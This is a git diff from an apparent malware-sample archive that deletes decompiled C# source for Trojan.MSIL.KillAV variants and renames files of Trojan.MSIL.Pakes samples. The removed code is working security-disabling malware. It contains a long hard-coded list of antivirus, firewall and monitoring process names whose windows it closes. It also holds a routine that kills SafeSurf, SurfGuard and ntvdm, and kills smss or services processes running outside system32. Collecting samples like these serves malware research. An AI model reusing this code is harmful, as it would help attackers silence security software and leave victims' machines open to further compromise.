"CFINET32", - "CLEAN", - "CLEANER", - "CLEANER3", - "CLEANPC ", - "CLICK ", - "CMD32 ", - "CMESYS ", - "CMGRDIAN", - "CMON016 ", - "CONNECTIONMONITOR", - "CPD ", - "CPF9X206", - "CPFNT206", - "CTRL ", - "CV ", - "CWNB181", - "CWNTDWMO ", - "IEXPLORER", - "IFACE ", - "IFW2000", - "INETLNFO", - "INFUS ", - "INFWIN", - "INIT ", - "INTDEL", - "INTREN ", - "IOMON98", - "ISTSVC ", - "JAMMER ", - "JDBGMRG ", - "JEDI ", - "KAVLITE40ENG ", - "KAVPERS40ENG ", - "KAVPF ", - "KAZZA", - "KEENVALUE", - "KERIO-PF-213-EN-WIN", - "KERIO-WRL-421-EN-WIN", - "KERIO-WRP-421-EN-WIN", - "KERNEL32", - "KILLPROCESSSETUP161", - "LAUNCHER", - "LDNETMON ", - "LDPRO ", - "LDPROMENU", - "LDSCAN", - "LNETINFO", - "LOADER ", - "LOCALNET", - "LOCKDOWN", - "LOCKDOWN2000", - "LOOKOUT ", - "LORDPE ", - "LSETUP", - "LUALL ", - "LUAU ", - "LUCOMSERVER ", - "LUINIT ", - "LUSPT", - "MAPISVC32", - "MCAGENT ", - "MCMNHDLR ", - "MCSHIELD ", - "MCTOOL ", - "MCUPDATE", - "MCUPDATE ", - "MCVSRTE", - "MCVSSHLD ", - "MD ", - "MFIN32", - "MFW2EN ", - "MFWENG3.02D30 ", - "MGAVRTCL ", - "MGAVRTE ", - "MGHTML", - "MGUI ", - "MINILOG", - "MMOD", - "MONITOR", - "MOOLIVE", - "MOSTAT ", - "MPFAGENT ", - "MPFSERVICE ", - "MPFTRAY ", - "MRFLUX", - "MSAPP ", - "MSBB ", - "MSBLAST", - "MSCACHE ", - "MSCCN32 ", - "MSCMAN ", - "MSCONFIG", - "MSDM ", - "MSDOS", - "MSIEXEC16", - "MSINFO32", - "MSLAUGH ", - "MSMGT ", - "MSMSGRI32", - "MSSMMC32", - "MSSYS ", - "MSVXD", - "MU0311AD", - "MWATCH ", - "N32SCANW", - "NAV ", - "AUTO-PROTECT.NAV80TRY", - "NAVAP.NAVAPSVC", - "NAVAPSVC ", - "NAVAPW32", - "NAVDX ", - "NAVLU32", - "NAVNT ", - "NAVSTUB ", - "NAVW32", - "NAVWNT", - "NC2000 ", - "NCINST4", - "NDD32 ", - "NEOMONITOR ", - "NEOWATCHLOG ", - "NETARMOR ", - "NETD32 ", - "NETINFO", - "NETMON", - "NETSCANPRO", - "NETSPYHUNTER-1.2", - "NETSTAT ", - "NETUTILS", - "NISSERV ", - "NISUM ", - "NMAIN ", - "NOD32 ", - "NORMIST", - "NORTON_INTERNET_SECU_3.0_407", - "NOTSTART", - "NPF40_TW_98_NT_ME_2K", - "NPFMESSENGER ", - "NPROTECT", - "NPSCHECK", - "NPSSVC ", - "NSCHED32", - "NSSYS32", - "NSTASK32", - "NSUPDATE", - "NT", - "NTRTSCAN", - "NTVDM", - "NTXconfig", - "NUI", - "NUPGRADE", - "NUPGRADE", - "NVARCH16", - "NVC95", - "NVSVC32", - "NWINST4", - "NWSERVICE", - "NWTOOL16", - "OLLYDBG", - "ONSRVR", - "OPTIMIZE", - "OSTRONET", - "OTFIX", - "OUTPOST", - "OUTPOST", - "OUTPOSTINSTALL", - "OUTPOSTPROINSTALL", - "PADMIN", - "PANIXK", - "PATCH", - "PAVCL", - "PAVPROXY", - "PAVSCHED", - "PAVW", - "PCFWALLICON", - "PCIP10117_0", - "PCSCAN", - "PDSETUP", - "PERISCOPE", - "PERSFW", - "PERSWF", - "PF2", - "PFWADMIN", - "PGMONITR", - "PINGSCAN", - "PLATIN", - "POP3TRAP", - "POPROXY", - "POPSCAN", - "PORTDETECTIVE", - "PORTMONITOR", - "POWERSCAN", - "PPINUPDT", - "PPTBC", - "PPVSTOP", - "PRIZESURFER", - "PRMT", - "PRMVR", - "PROCDUMP", - "PROCESSMONITOR", - "PROCEXPLORERV1.0", - "PROGRAMAUDITOR", - "PROPORT", - "PROTECTX ", - "PSPF", - "PURGE", - "QCONSOLE", - "QSERVER", - "RAPAPP", - "RAV7", - "RAV7WIN", - "RAV8WIN32ENG", - "RAY", - "RB32", - "RCSYNC", - "REALMON", - "REGED", - "REGEDIT", - "REGEDT32", - "RESCUE", - "RESCUE32", - "RRGUARD", - "RSHELL", - "RTVSCAN", - "RTVSCN95", - "RULAUNCH", - "RUN32DLL", - "RUNDLL", - "RUNDLL16", - "RUXDLL32", - "SAFEWEB", - "SAHAGENT ", - "SAVE", - "SAVENOW", - "SBSERV", - "SC", - "SCAM32", - "SCAN32", - "SCAN95", - "SCANPM", - "SCRSCAN", - "SETUPVAMEEVAL", - "SETUP_FLOWPROTECTOR_US", - "SFC", - "SGSSFW32", - "SH", - "SHELLSPYINSTALL", - "SHN", - "SHOWBEHIND", - "SMC", - "SMS", - "SMSS32", - "SOAP", - "SOFI", - "SPERM", - "SPF", - "SPHINX", - "SPOLER", - "SPOOLCV", - "SPOOLSV32", - "SPYXX", - "SREXE", - "SRNG", - "SS3EDIT", - "SSGRATE", - "SSG_4104", - "ST2", - "START", - "STCLOADER", - "SUPFTRL", - "SUPPORT", - "SUPPORTER5", - "SVC", - "SVCHOSTC", - "SVCHOSTS", - "SVSHOST", - "SWEEP95 ", - "SWEEPNET.SWEEPSRV.SYS.SWNETSUP", - "SYMPROXYSVC", - "SYMTRAY", - "SYSEDIT ", - "SYSTEM", - "SYSTEM32", - "SYSUPD", - "TASKMG", - "TASKMO", - "TASKMON", - "TAUMON", - "TBSCAN", - "TC", - "TCA", - "TCM", - "TDS-3", - "TDS2-NT", - "TEEKIDS", - "TFAK", - "TFAK5", - "TGBOB", - "TITANIN", - "TITANINXP", - "TRACERT", - "TRICKLER", - "TRJSCAN", - "TRJSETUP", - "TROJANTRAP3", - "TSADBOT", - "TVMD", - "TVTMD", - "UNDOBOOT", - "UPDAT", - "UPDATE", - "UPDATE", - "UPGRAD", - "UTPOST", - "VBCMSERV", - "VBCONS", - "VBUST ", - "VBWIN9X", - "VBWINNTW", - "VCSETUP", - "VET32 ", - "VET95", - "vb6", - "taskmgr", - "regedit", - "notepad", - "install", - "setup", - "MpfConsole", - "AmIrCiViL" - }; - foreach (string processName in strArray) - { - try - { - foreach (Process process in Process.GetProcessesByName(processName)) - process.CloseMainWindow(); - } - catch (Exception ex) - { - } - } - } - catch (Exception ex) - { - } - } - } - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.b-f9eb2db999ccedd1fdab5bdfb8f8b088af33de08b58f20da831957f748f3a9a2/Properties/Resources.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.b-f9eb2db999ccedd1fdab5bdfb8f8b088af33de08b58f20da831957f748f3a9a2/Properties/Resources.cs deleted file mode 100644 index 8e3e3aa7..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.b-f9eb2db999ccedd1fdab5bdfb8f8b088af33de08b58f20da831957f748f3a9a2/Properties/Resources.cs +++ /dev/null @@ -1,46 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: test.Properties.Resources -// Assembly: test, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 25B95BEA-03B3-447D-99C0-543369BA88DF -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.b-f9eb2db999ccedd1fdab5bdfb8f8b088af33de08b58f20da831957f748f3a9a2.exe - -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; -using System.Globalization; -using System.Resources; -using System.Runtime.CompilerServices; - -namespace test.Properties -{ - [GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "2.0.0.0")] - [CompilerGenerated] - [DebuggerNonUserCode] - internal class Resources - { - private static ResourceManager resourceMan; - private static CultureInfo resourceCulture; - - internal Resources() - { - } - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static ResourceManager ResourceManager - { - get - { - if (test.Properties.Resources.resourceMan == null) - test.Properties.Resources.resourceMan = new ResourceManager("test.Properties.Resources", typeof (test.Properties.Resources).Assembly); - return test.Properties.Resources.resourceMan; - } - } - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static CultureInfo Culture - { - get => test.Properties.Resources.resourceCulture; - set => test.Properties.Resources.resourceCulture = value; - } - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.b-f9eb2db999ccedd1fdab5bdfb8f8b088af33de08b58f20da831957f748f3a9a2/Properties/Resources.resx b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.b-f9eb2db999ccedd1fdab5bdfb8f8b088af33de08b58f20da831957f748f3a9a2/Properties/Resources.resx deleted file mode 100644 index d58980a3..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.b-f9eb2db999ccedd1fdab5bdfb8f8b088af33de08b58f20da831957f748f3a9a2/Properties/Resources.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.b-f9eb2db999ccedd1fdab5bdfb8f8b088af33de08b58f20da831957f748f3a9a2/Properties/Settings.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.b-f9eb2db999ccedd1fdab5bdfb8f8b088af33de08b58f20da831957f748f3a9a2/Properties/Settings.cs deleted file mode 100644 index 77bebc60..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.b-f9eb2db999ccedd1fdab5bdfb8f8b088af33de08b58f20da831957f748f3a9a2/Properties/Settings.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: test.Properties.Settings -// Assembly: test, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 25B95BEA-03B3-447D-99C0-543369BA88DF -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.b-f9eb2db999ccedd1fdab5bdfb8f8b088af33de08b58f20da831957f748f3a9a2.exe - -using System.CodeDom.Compiler; -using System.Configuration; -using System.Runtime.CompilerServices; - -namespace test.Properties -{ - [GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "8.0.0.0")] - [CompilerGenerated] - internal sealed class Settings : ApplicationSettingsBase - { - private static Settings defaultInstance = (Settings) SettingsBase.Synchronized((SettingsBase) new Settings()); - - public static Settings Default => Settings.defaultInstance; - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.b-f9eb2db999ccedd1fdab5bdfb8f8b088af33de08b58f20da831957f748f3a9a2/Trojan.MSIL.KillAV.b.csproj b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.b-f9eb2db999ccedd1fdab5bdfb8f8b088af33de08b58f20da831957f748f3a9a2/Trojan.MSIL.KillAV.b.csproj deleted file mode 100644 index 98e0070a..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.b-f9eb2db999ccedd1fdab5bdfb8f8b088af33de08b58f20da831957f748f3a9a2/Trojan.MSIL.KillAV.b.csproj +++ /dev/null @@ -1,47 +0,0 @@ - - - - - Debug - AnyCPU - {1310D28E-CCBB-4F41-B321-9746FA6F57BB} - WinExe - test - 1.0.0.0 - test - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.b-f9eb2db999ccedd1fdab5bdfb8f8b088af33de08b58f20da831957f748f3a9a2/Trojan.MSIL.KillAV.b.sln b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.b-f9eb2db999ccedd1fdab5bdfb8f8b088af33de08b58f20da831957f748f3a9a2/Trojan.MSIL.KillAV.b.sln deleted file mode 100644 index 206e69e5..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.b-f9eb2db999ccedd1fdab5bdfb8f8b088af33de08b58f20da831957f748f3a9a2/Trojan.MSIL.KillAV.b.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "test", "Trojan.MSIL.KillAV.b-f9eb2db999ccedd1fdab5bdfb8f8b088af33de08b58f20da831957f748f3a9a2.csproj", "{1310D28E-CCBB-4F41-B321-9746FA6F57BB}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {1310D28E-CCBB-4F41-B321-9746FA6F57BB}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {1310D28E-CCBB-4F41-B321-9746FA6F57BB}.Debug|Any CPU.Build.0 = Debug|Any CPU - {1310D28E-CCBB-4F41-B321-9746FA6F57BB}.Release|Any CPU.ActiveCfg = Release|Any CPU - {1310D28E-CCBB-4F41-B321-9746FA6F57BB}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.t-7584d91fa56c7103e48160f5ceee3cddf32dd32d28ba2742af5d0745846f5e04/AssemblyInfo.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.t-7584d91fa56c7103e48160f5ceee3cddf32dd32d28ba2742af5d0745846f5e04/AssemblyInfo.cs deleted file mode 100644 index dcbf2a4a..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.t-7584d91fa56c7103e48160f5ceee3cddf32dd32d28ba2742af5d0745846f5e04/AssemblyInfo.cs +++ /dev/null @@ -1,14 +0,0 @@ -using System.Reflection; -using System.Runtime.InteropServices; - -[assembly: ComVisible(false)] -[assembly: AssemblyFileVersion("1.0.0.0")] -[assembly: Guid("f6fda56b-6ca8-42fd-ad3c-b394b03b118d")] -[assembly: AssemblyTrademark("")] -[assembly: AssemblyCopyright("Copyright © аа 2010")] -[assembly: AssemblyProduct("WindowsApplication9")] -[assembly: AssemblyCompany("аа")] -[assembly: AssemblyConfiguration("")] -[assembly: AssemblyDescription("")] -[assembly: AssemblyTitle("WindowsApplication9")] -[assembly: AssemblyVersion("1.0.0.0")] diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.t-7584d91fa56c7103e48160f5ceee3cddf32dd32d28ba2742af5d0745846f5e04/Form1.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.t-7584d91fa56c7103e48160f5ceee3cddf32dd32d28ba2742af5d0745846f5e04/Form1.cs deleted file mode 100644 index a36d8fae..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.t-7584d91fa56c7103e48160f5ceee3cddf32dd32d28ba2742af5d0745846f5e04/Form1.cs +++ /dev/null @@ -1,41 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: WindowsApplication9.Form1 -// Assembly: WindowsApplication9, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 43A21712-02FA-45B9-A428-224567010D54 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.KillAV.t-7584d91fa56c7103e48160f5ceee3cddf32dd32d28ba2742af5d0745846f5e04.exe - -using System; -using System.ComponentModel; -using System.Drawing; -using System.Windows.Forms; - -namespace WindowsApplication9 -{ - public class Form1 : Form - { - private IContainer components = (IContainer) null; - - protected override void Dispose(bool disposing) - { - if (disposing && this.components != null) - this.components.Dispose(); - base.Dispose(disposing); - } - - private void InitializeComponent() - { - this.SuspendLayout(); - this.AutoScaleDimensions = new SizeF(6f, 13f); - this.AutoScaleMode = AutoScaleMode.Font; - this.ClientSize = new Size(292, 266); - this.Name = nameof (Form1); - this.Text = nameof (Form1); - this.Load += new EventHandler(this.Form1_Load); - this.ResumeLayout(false); - } - - public Form1() => this.InitializeComponent(); - - private void Form1_Load(object sender, EventArgs e) => Application.Exit(); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.t-7584d91fa56c7103e48160f5ceee3cddf32dd32d28ba2742af5d0745846f5e04/Form1.resx b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.t-7584d91fa56c7103e48160f5ceee3cddf32dd32d28ba2742af5d0745846f5e04/Form1.resx deleted file mode 100644 index d58980a3..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.t-7584d91fa56c7103e48160f5ceee3cddf32dd32d28ba2742af5d0745846f5e04/Form1.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.t-7584d91fa56c7103e48160f5ceee3cddf32dd32d28ba2742af5d0745846f5e04/Program.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.t-7584d91fa56c7103e48160f5ceee3cddf32dd32d28ba2742af5d0745846f5e04/Program.cs deleted file mode 100644 index a673c8db..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.t-7584d91fa56c7103e48160f5ceee3cddf32dd32d28ba2742af5d0745846f5e04/Program.cs +++ /dev/null @@ -1,39 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: WindowsApplication9.Program -// Assembly: WindowsApplication9, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 43A21712-02FA-45B9-A428-224567010D54 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.KillAV.t-7584d91fa56c7103e48160f5ceee3cddf32dd32d28ba2742af5d0745846f5e04.exe - -using System; -using System.Diagnostics; -using System.Windows.Forms; - -namespace WindowsApplication9 -{ - internal static class Program - { - [STAThread] - private static void Main() - { - foreach (Process process in Process.GetProcessesByName("safesurf")) - process.Kill(); - foreach (Process process in Process.GetProcessesByName("surfguard")) - process.Kill(); - foreach (Process process in Process.GetProcessesByName("ntvdm")) - process.Kill(); - foreach (Process process in Process.GetProcessesByName("smss")) - { - if (!process.MainModule.FileName.ToLower().Contains("\\system32\\")) - process.Kill(); - } - foreach (Process process in Process.GetProcessesByName("services")) - { - if (!process.MainModule.FileName.ToLower().Contains("\\system32\\")) - process.Kill(); - } - Application.EnableVisualStyles(); - Application.SetCompatibleTextRenderingDefault(false); - Application.Run((Form) new Form1()); - } - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.t-7584d91fa56c7103e48160f5ceee3cddf32dd32d28ba2742af5d0745846f5e04/Properties/Resources.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.t-7584d91fa56c7103e48160f5ceee3cddf32dd32d28ba2742af5d0745846f5e04/Properties/Resources.cs deleted file mode 100644 index d10e7d81..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.t-7584d91fa56c7103e48160f5ceee3cddf32dd32d28ba2742af5d0745846f5e04/Properties/Resources.cs +++ /dev/null @@ -1,46 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: WindowsApplication9.Properties.Resources -// Assembly: WindowsApplication9, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 43A21712-02FA-45B9-A428-224567010D54 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.KillAV.t-7584d91fa56c7103e48160f5ceee3cddf32dd32d28ba2742af5d0745846f5e04.exe - -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; -using System.Globalization; -using System.Resources; -using System.Runtime.CompilerServices; - -namespace WindowsApplication9.Properties -{ - [GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "2.0.0.0")] - [CompilerGenerated] - [DebuggerNonUserCode] - internal class Resources - { - private static ResourceManager resourceMan; - private static CultureInfo resourceCulture; - - internal Resources() - { - } - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static ResourceManager ResourceManager - { - get - { - if (WindowsApplication9.Properties.Resources.resourceMan == null) - WindowsApplication9.Properties.Resources.resourceMan = new ResourceManager("WindowsApplication9.Properties.Resources", typeof (WindowsApplication9.Properties.Resources).Assembly); - return WindowsApplication9.Properties.Resources.resourceMan; - } - } - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static CultureInfo Culture - { - get => WindowsApplication9.Properties.Resources.resourceCulture; - set => WindowsApplication9.Properties.Resources.resourceCulture = value; - } - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.t-7584d91fa56c7103e48160f5ceee3cddf32dd32d28ba2742af5d0745846f5e04/Properties/Resources.resx b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.t-7584d91fa56c7103e48160f5ceee3cddf32dd32d28ba2742af5d0745846f5e04/Properties/Resources.resx deleted file mode 100644 index d58980a3..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.t-7584d91fa56c7103e48160f5ceee3cddf32dd32d28ba2742af5d0745846f5e04/Properties/Resources.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.t-7584d91fa56c7103e48160f5ceee3cddf32dd32d28ba2742af5d0745846f5e04/Properties/Settings.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.t-7584d91fa56c7103e48160f5ceee3cddf32dd32d28ba2742af5d0745846f5e04/Properties/Settings.cs deleted file mode 100644 index 69fee538..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.t-7584d91fa56c7103e48160f5ceee3cddf32dd32d28ba2742af5d0745846f5e04/Properties/Settings.cs +++ /dev/null @@ -1,28 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: WindowsApplication9.Properties.Settings -// Assembly: WindowsApplication9, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 43A21712-02FA-45B9-A428-224567010D54 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.KillAV.t-7584d91fa56c7103e48160f5ceee3cddf32dd32d28ba2742af5d0745846f5e04.exe - -using System.CodeDom.Compiler; -using System.Configuration; -using System.Runtime.CompilerServices; - -namespace WindowsApplication9.Properties -{ - [GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "8.0.0.0")] - [CompilerGenerated] - internal sealed class Settings : ApplicationSettingsBase - { - private static Settings defaultInstance = (Settings) SettingsBase.Synchronized((SettingsBase) new Settings()); - - public static Settings Default - { - get - { - Settings defaultInstance = Settings.defaultInstance; - return defaultInstance; - } - } - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.t-7584d91fa56c7103e48160f5ceee3cddf32dd32d28ba2742af5d0745846f5e04/Trojan.MSIL.KillAV.t.csproj b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.t-7584d91fa56c7103e48160f5ceee3cddf32dd32d28ba2742af5d0745846f5e04/Trojan.MSIL.KillAV.t.csproj deleted file mode 100644 index 7818965b..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.t-7584d91fa56c7103e48160f5ceee3cddf32dd32d28ba2742af5d0745846f5e04/Trojan.MSIL.KillAV.t.csproj +++ /dev/null @@ -1,49 +0,0 @@ - - - - - Debug - AnyCPU - {74223513-95AF-4BD0-8A67-6888E0E84FFC} - WinExe - WindowsApplication9 - 1.0.0.0 - WindowsApplication9 - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.t-7584d91fa56c7103e48160f5ceee3cddf32dd32d28ba2742af5d0745846f5e04/Trojan.MSIL.KillAV.t.sln b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.t-7584d91fa56c7103e48160f5ceee3cddf32dd32d28ba2742af5d0745846f5e04/Trojan.MSIL.KillAV.t.sln deleted file mode 100644 index 525df765..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.t-7584d91fa56c7103e48160f5ceee3cddf32dd32d28ba2742af5d0745846f5e04/Trojan.MSIL.KillAV.t.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "WindowsApplication9", "Trojan.MSIL.KillAV.t-7584d91fa56c7103e48160f5ceee3cddf32dd32d28ba2742af5d0745846f5e04.csproj", "{74223513-95AF-4BD0-8A67-6888E0E84FFC}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {74223513-95AF-4BD0-8A67-6888E0E84FFC}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {74223513-95AF-4BD0-8A67-6888E0E84FFC}.Debug|Any CPU.Build.0 = Debug|Any CPU - {74223513-95AF-4BD0-8A67-6888E0E84FFC}.Release|Any CPU.ActiveCfg = Release|Any CPU - {74223513-95AF-4BD0-8A67-6888E0E84FFC}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.dp-503e1a67612f5abe48d156e2a755973bc1e031ba5e6cfe9f737c7a48deb29be4/AssemblyInfo.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.dp-503e1a67612f5abe48d156e2a755973bc1e031ba5e6cfe9f737c7a48deb29be4/AssemblyInfo.cs deleted file mode 100644 index ce21b9bb..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.dp-503e1a67612f5abe48d156e2a755973bc1e031ba5e6cfe9f737c7a48deb29be4/AssemblyInfo.cs +++ /dev/null @@ -1,5 +0,0 @@ -using System.Reflection; -using System.Runtime.CompilerServices; - -[assembly: SuppressIldasm] -[assembly: AssemblyVersion("0.0.0.0")] diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.ap-f4471ee56906b80e4b69c7226be029e97a72b82baf0a9ad0f294d21342e36f9a/AssemblyInfo.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.ap/AssemblyInfo.cs similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.ap-f4471ee56906b80e4b69c7226be029e97a72b82baf0a9ad0f294d21342e36f9a/AssemblyInfo.cs rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.ap/AssemblyInfo.cs diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.ap-f4471ee56906b80e4b69c7226be029e97a72b82baf0a9ad0f294d21342e36f9a/FxSÙÉÚßsÞÝWÆCipgùÔOßråÞÒg.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.ap/FxSÙÉÚßsÞÝWÆCipgùÔOßråÞÒg.cs similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.ap-f4471ee56906b80e4b69c7226be029e97a72b82baf0a9ad0f294d21342e36f9a/FxSÙÉÚßsÞÝWÆCipgùÔOßråÞÒg.cs rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.ap/FxSÙÉÚßsÞÝWÆCipgùÔOßråÞÒg.cs diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.ap-f4471ee56906b80e4b69c7226be029e97a72b82baf0a9ad0f294d21342e36f9a/My/MyApplication.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.ap/My/MyApplication.cs similarity index 100% rename from 